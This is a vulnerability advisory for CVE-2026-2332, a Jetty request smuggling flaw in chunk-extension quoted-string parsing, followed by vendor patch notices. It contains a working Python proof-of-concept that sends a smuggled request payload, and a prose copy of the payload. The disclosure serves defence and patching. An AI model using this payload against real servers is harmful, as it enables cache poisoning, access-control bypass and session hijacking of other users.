CVE-2026-2332

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

| Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |

Impact

• Request Smuggling: Attacker injects arbitrary HTTP requests
• Cache Poisoning: Smuggled responses poison shared caches
• Access Control Bypass: Smuggled requests bypass frontend security
• Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

1. Start the minimal POC with docker
2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

References

• RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
• Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
• details for security versions https://jetty.org/security.html

Red Hat Lightwell has released org.eclipse.jetty.ee10.demos:jetty-ee10-demo-async-rest-jar 12.0.32.rhlw-00002 with a backported security fix.

CVE-2026-2332: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

This patched artifact is a drop-in replacement for org.eclipse.jetty.ee10.demos:jetty-ee10-demo-async-rest-jar 12.0.32 from Maven Central.

Red Hat Lightwell has released org.eclipse.jetty:jetty-http 12.0.32.rhlw-00002 with a backported security fix.

CVE-2026-2332: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

This patched artifact is a drop-in replacement for org.eclipse.jetty:jetty-http 12.0.32 from Maven Central.

JDK Mission Control is a powerful profiler for HotSpot JVMs and has an advanced set of tools that enables efficient and detailed analysis of the extensive data collected by JDK Flight Recorder. The tool chain enables developers and administrators to collect and analyze data from Java applications running locally or deployed in production environments.

Security Fix(es):

• lz4-java: lz4-java: Information Disclosure via Insufficient Output Buffer Clearing (CVE-2025-66566)

• org.eclipse.jetty/jetty-http: HTTP request smuggling via chunked extension quoted-string parsing (CVE-2026-2332)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Root has patched CVE-2026-2332 in the org.eclipse.jetty:jetty-http package for Root:Maven. Multiple fixed versions available.

In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks" techniques outlined here: * https://w4ke.info/2025/06/18/funky-chunks.html * https://w4ke.info/2025/10/29/funky-chunks-2.html Jetty terminates chunk extension parsing at \r\n inside quoted strings instead of treating this as an error. POST / HTTP/1.1 Host: localhost Transfer-Encoding: chunked 1;ext="val X 0 GET /smuggled HTTP/1.1 ... Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.

JDK Mission Control is a powerful profiler for HotSpot JVMs and has an advanced set of tools that enables efficient and detailed analysis of the extensive data collected by JDK Flight Recorder. The tool chain enables developers and administrators to collect and analyze data from Java applications running locally or deployed in production environments.

Security Fix(es):

• lz4-java: lz4-java: Information Disclosure via Insufficient Output Buffer Clearing (CVE-2025-66566)
• org.eclipse.jetty/jetty-http: HTTP request smuggling via chunked extension quoted-string parsing (CVE-2026-2332)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

TuxCare rebuilt 2 packages to address 2 CVEs. Fixed in 9.4.60.tuxcare0001.

TuxCare rebuilt org.eclipse.jetty:jetty-http to address 1 CVE. Fixed in 10.0.28.tuxcare0001.

TuxCare rebuilt org.eclipse.jetty:jetty-http to address 1 CVE. Fixed in 11.0.28.tuxcare0001.

TuxCare rebuilt org.eclipse.jetty:jetty-http to address 1 CVE. Fixed in 11.0.27.tuxcare0003.

TuxCare rebuilt 9 packages to address 5 CVEs. Fixed in 12.0.22-tuxcare.1.

These are all security issues fixed in the jetty-annotations-9.4.58-4.1 package on the GA media of openSUSE Tumbleweed.

This update for jetty-minimal fixes the following issues:

• CVE-2026-2332: In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the 'funky chunks' techniques (bsc#1262115).
• CVE-2026-5795: Fixed JaspiAuthenticator broken access control (bsc#1261997).